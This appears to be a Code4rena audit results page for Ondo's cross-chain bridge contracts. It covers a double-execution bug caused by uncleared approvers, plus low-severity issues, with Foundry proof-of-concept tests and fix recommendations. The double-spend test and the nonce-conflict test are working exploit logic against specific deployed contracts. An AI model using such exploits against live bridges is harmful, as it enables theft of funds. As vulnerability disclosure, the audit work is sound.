Platform: Code4rena
Start Date: 01/09/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 70
Period: 6 days
Judge: kirk-baird
Id: 281
League: ETH
Rank: 19/70
Findings: 2
Award: $272.76
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Udsen
Also found by: 0xDING99YA, 0xpiken, Inspecktor, SpicyMeatball, adriro, ast3ros, bin2chen, bowtiedvirus, kutugu, pep7siup, seerether
265.675 USDC - $265.68
https://github.com/code-423n4/2023-09-ondo/blob/47d34d6d4a5303af5f46e907ac2292e6a7745f6c/contracts/bridge/DestinationBridge.sol#L108 https://github.com/code-423n4/2023-09-ondo/blob/47d34d6d4a5303af5f46e907ac2292e6a7745f6c/contracts/bridge/DestinationBridge.sol#L350
There are two main problems here:
This can cause the following problems:
If users use the same address for two conflicting message, because txnToThresholdSet.approvers
is not cleared, the message executes DOS, which can be avoided by switching another account to execute the message.
And because txnToThresholdSet.approvers
is not cleared, the previous approve is still in effect, and the message can be executed without the need to approve again.
diff --git a/forge-tests/bridges/DestinationBridge.t.sol b/forge-tests/bridges/DestinationBridge.t.sol index 547c37f..2a0e167 100644 --- a/forge-tests/bridges/DestinationBridge.t.sol +++ b/forge-tests/bridges/DestinationBridge.t.sol @@ -3,6 +3,7 @@ pragma solidity 0.8.16; import "forge-tests/USDY_BasicDeployment.sol"; import "forge-tests/helpers/events/DestinationBridgeEvents.sol"; import "contracts/bridge/DestinationBridge.sol"; +import {AddressToString} from "contracts/external/axelar/StringAddressUtils.sol"; contract Test_DestinationBridge is DestinationBridgeEvents, @@ -53,7 +54,11 @@ contract Test_DestinationBridge is vm.startPrank(guardian); destinationBridge.addChainSupport( "arbitrum", - "0xce16F69375520ab01377ce7B88f5BA8C48F8D666" + AddressToString.toString(address(1)) + ); + destinationBridge.addChainSupport( + "polygon", + AddressToString.toString(address(2)) ); destinationBridge.addApprover(ondoSigner0); destinationBridge.addApprover(ondoSigner1); @@ -94,6 +99,45 @@ contract Test_DestinationBridge is destinationBridge.execute(cmdId, srcChain, srcAddress, payload); } + function testTwoChainDoubleSpendAttack() public { + bytes memory payload = abi.encode(VERSION, alice, 100e18, 1); + bytes32 txnHash = keccak256(payload); + + // arbitrum + bytes32 cmdId = bytes32( + 0x9991faa1f435675159ffae64b66d7ecfdb55c29755869a18db8497b4392347e0 + ); + string memory srcChain = "arbitrum"; + string memory srcAddress = AddressToString.toString(address(1)); + approve_message( + cmdId, + srcChain, + srcAddress, + address(destinationBridge), + keccak256(payload) + ); + destinationBridge.execute(cmdId, srcChain, srcAddress, payload); + // @audit first execution needs approve + emit BridgeCompleted(alice, 100e18); + vm.prank(ondoSigner0); + destinationBridge.approve(txnHash); + + // polygon + srcChain = "polygon"; + srcAddress = AddressToString.toString(address(2)); + approve_message( + cmdId, + srcChain, + srcAddress, + address(destinationBridge), + keccak256(payload) + ); + vm.prank(address(0xdead)); + // @audit second execution only needs switch another account, don't need approve again + emit BridgeCompleted(alice, 100e18); + destinationBridge.execute(cmdId, srcChain, srcAddress, payload); + } + /*////////////////////////////////////////////////////////////// Functionality Tests //////////////////////////////////////////////////////////////*/
According to the sponsor's description, the approver network seems to be used as a backup guarantee for block reorganization / Axelar state conflicts, and it may also have other functions, such as subjectively delaying the execution of messages, etc. So let's discuss the extreme cases, when blocks are reorganized or Axelar gateway status conflicts with the approver network:
Of course, Axelar will try its best to ensure that blocks will not be reorganized before message is executed, but the approver network that was supposed to be the second layer of protection has failed.
Foundry
Context
#0 - c4-pre-sort
2023-09-08T16:10:10Z
raymondfam marked the issue as duplicate of #162
#1 - c4-pre-sort
2023-09-08T16:10:15Z
raymondfam marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-09-10T08:08:43Z
raymondfam marked the issue as high quality report
#3 - c4-judge
2023-09-17T06:39:06Z
kirk-baird changed the severity to 3 (High Risk)
#4 - c4-judge
2023-09-17T06:39:42Z
kirk-baird marked the issue as satisfactory
#5 - c4-judge
2023-09-26T03:03:40Z
kirk-baird changed the severity to 2 (Med Risk)
🌟 Selected for report: adriro
Also found by: 0x6980, 0xStalin, 0xanmol, 0xmystery, 0xpanicError, Arz, Aymen0909, BenRai, Breeje, Lalanda, MohammedRizwan, Raihan, SovaSlava, Stormreckson, Udsen, ast3ros, bin2chen, castle_chain, catellatech, codegpt, dev0cloo, gkrastenov, hals, klau5, kutugu, ladboy233, matrix_0wl, nirlin, ohm, peanuts, pipidu83, sandy, wahedtalash77
7.08 USDC - $7.08
ID | Title | Severity |
---|---|---|
[L-01] | setThresholds should prohibit equal amount | Low |
[L-02] | SourceBridge cannot share the same address on different chains | Low |
[L-03] | DestinationBridge.execute does not check whether msg.sender is a legal approver | Low |
[N-01] | Upgradeable contracts should explicitly call the init function of the inherited contract | Non-Critical |
function setThresholds( string calldata srcChain, uint256[] calldata amounts, uint256[] calldata numOfApprovers ) external onlyOwner { if (amounts.length != numOfApprovers.length) { revert ArrayLengthMismatch(); } delete chainToThresholds[srcChain]; for (uint256 i = 0; i < amounts.length; ++i) { if (i == 0) { chainToThresholds[srcChain].push( Threshold(amounts[i], numOfApprovers[i]) ); } else { if (chainToThresholds[srcChain][i - 1].amount > amounts[i]) { revert ThresholdsNotInAscendingOrder(); } chainToThresholds[srcChain].push( Threshold(amounts[i], numOfApprovers[i]) ); } } emit ThresholdSet(srcChain, amounts, numOfApprovers); } function _attachThreshold( uint256 amount, bytes32 txnHash, string memory srcChain ) internal { Threshold[] memory thresholds = chainToThresholds[srcChain]; for (uint256 i = 0; i < thresholds.length; ++i) { Threshold memory t = thresholds[i]; if (amount <= t.amount) { txnToThresholdSet[txnHash] = TxnThreshold( t.numberOfApprovalsNeeded, new address[](0) ); break; } } if (txnToThresholdSet[txnHash].numberOfApprovalsNeeded == 0) { revert NoThresholdMatch(); } }
At present, setThresholds
allows the amount to be equal, but in _attachThreshold
, the equality will not be considered when looking for the threshold, and only the first subscript that meets the conditions will be taken.
This may not meet the expectations of thresholds. Under strict conditions, the maximum threshold should be taken instead of the minimum threshold.
setThresholds should prohibit equal amount
function addChainSupport( string calldata srcChain, string calldata srcContractAddress ) external onlyOwner { chainToApprovedSender[srcChain] = keccak256(abi.encode(srcContractAddress)); emit ChainIdSupported(srcChain, srcContractAddress); } // @audit may revert here if (isSpentNonce[chainToApprovedSender[srcChain]][nonce]) { revert NonceSpent(); }
In DestinationBridge
, chainToApprovedSender
is taken only from srcContractAddress
and does not include srcChain
.
So if SourceBridge use the same address on different chains, isSpentNonce
will conflict, blocking message execution on the other chain.
POC:
function testTwoChainIsSpentNonceConflict() public { bytes memory payload = abi.encode(VERSION, alice, 100e18, 1); // arbitrum bytes32 cmdId = bytes32( 0x9991faa1f435675159ffae64b66d7ecfdb55c29755869a18db8497b4392347e0 ); string memory srcChain = "arbitrum"; string memory srcAddress = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666"; approve_message( cmdId, srcChain, srcAddress, address(destinationBridge), keccak256(payload) ); destinationBridge.execute(cmdId, srcChain, srcAddress, payload); // optimism srcChain = "optimism"; approve_message( cmdId, srcChain, srcAddress, address(destinationBridge), keccak256(payload) ); vm.expectRevert(DestinationBridge.NonceSpent.selector); destinationBridge.execute(cmdId, srcChain, srcAddress, payload); }
srcChain should also participate in the hash calculation
function _execute( string calldata srcChain, string calldata srcAddr, bytes calldata payload ) internal override whenNotPaused { (bytes32 version, address srcSender, uint256 amt, uint256 nonce) = abi .decode(payload, (bytes32, address, uint256, uint256)); if (version != VERSION) { revert InvalidVersion(); } if (chainToApprovedSender[srcChain] == bytes32(0)) { revert ChainNotSupported(); } if (chainToApprovedSender[srcChain] != keccak256(abi.encode(srcAddr))) { revert SourceNotSupported(); } if (isSpentNonce[chainToApprovedSender[srcChain]][nonce]) { revert NonceSpent(); } isSpentNonce[chainToApprovedSender[srcChain]][nonce] = true; bytes32 txnHash = keccak256(payload); txnHashToTransaction[txnHash] = Transaction(srcSender, amt); _attachThreshold(amt, txnHash, srcChain); // @audit not check approver here _approve(txnHash); _mintIfThresholdMet(txnHash); emit MessageReceived(srcChain, srcSender, amt, nonce); } function approve(bytes32 txnHash) external { // @audit check approver here if (!approvers[msg.sender]) { revert NotApprover(); } _approve(txnHash); _mintIfThresholdMet(txnHash); }
DestinationBridge.execute does not check whether msg.sender is a legal approver, while approve checks.
So one of the approves can be any address, all of which are valid. The message with a threshold value of 1 can be directly executed by any address without being restricted by the approver network.
And this question can be combined with another question to bypass the approve logic, you can check: DestinationBridge.execute may lead to hash collision, causing DOS or bypassing the approve logic.
_execute should also check whether msg.sender is a legal approver
contract rUSDY is Initializable, ContextUpgradeable, PausableUpgradeable, AccessControlEnumerableUpgradeable, BlocklistClientUpgradeable, AllowlistClientUpgradeable, SanctionsListClientUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable function initialize( address blocklist, address allowlist, address sanctionsList, address _usdy, address guardian, address _oracle ) public virtual initializer { __rUSDY_init(blocklist, allowlist, sanctionsList, _usdy, guardian, _oracle); } function __rUSDY_init( address blocklist, address allowlist, address sanctionsList, address _usdy, address guardian, address _oracle ) internal onlyInitializing { __BlocklistClientInitializable_init(blocklist); __AllowlistClientInitializable_init(allowlist); __SanctionsListClientInitializable_init(sanctionsList); __rUSDY_init_unchained(_usdy, guardian, _oracle); }
rUSDY inherits a series of upgradeable contracts from openzeppelin, but does not explicitly call the init function, although currently these init functions do not contain side effects and do not need to be called. However, there is no guarantee whether logic will be added to the new version of the contract in the future. For compatibility, it is best to explicitly call the init function.
Explicitly call the init function
#0 - c4-pre-sort
2023-09-08T08:20:23Z
raymondfam marked the issue as sufficient quality report
#1 - c4-judge
2023-09-23T00:23:22Z
kirk-baird marked the issue as grade-b